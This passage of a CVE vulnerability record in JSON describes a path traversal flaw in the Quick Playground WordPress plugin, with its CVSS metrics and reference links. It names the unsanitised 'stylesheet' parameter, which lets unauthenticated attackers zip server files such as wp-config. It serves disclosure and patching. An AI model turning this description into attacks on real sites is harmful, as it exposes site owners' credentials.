This is due to insufficient path validation in the qckply_zip_theme() function, which appends a user-controlled 'stylesheet' parameter directly to the theme root directory path without sanitizing directory traversal sequences. This makes it possible for unauthenticated attackers to trigger the creation of a ZIP archive containing arbitrary files from the server's filesystem — including wp-config."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-22"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/quick-playground/tags/1.3.1/api.php#L62", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/quick-playground/tags/1.3.1/api.php#L631", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/quick-playground/tags/1.3.1/utility.php#L162", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/quick-playground/tags/1.3.1/utility.php#L248", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/quick-playground/trunk/api.php#L62", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/quick-playground/trunk/api.php#L631", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/quick-playground/trunk/utility.php#L162", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/quick-playground/trunk/utility.php#L248", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3514238%40quick-playground&new=3514238%40quick-playground&sfp_email=&sfph_mail=", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3523317%40quick-playground&new=3523317%40quick-playground&sfp_email=&sfph_mail=", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/a39dccb6-b635-44af-b0e0-c3010b719773?source=cve", "source": "[email protected]"}]}}
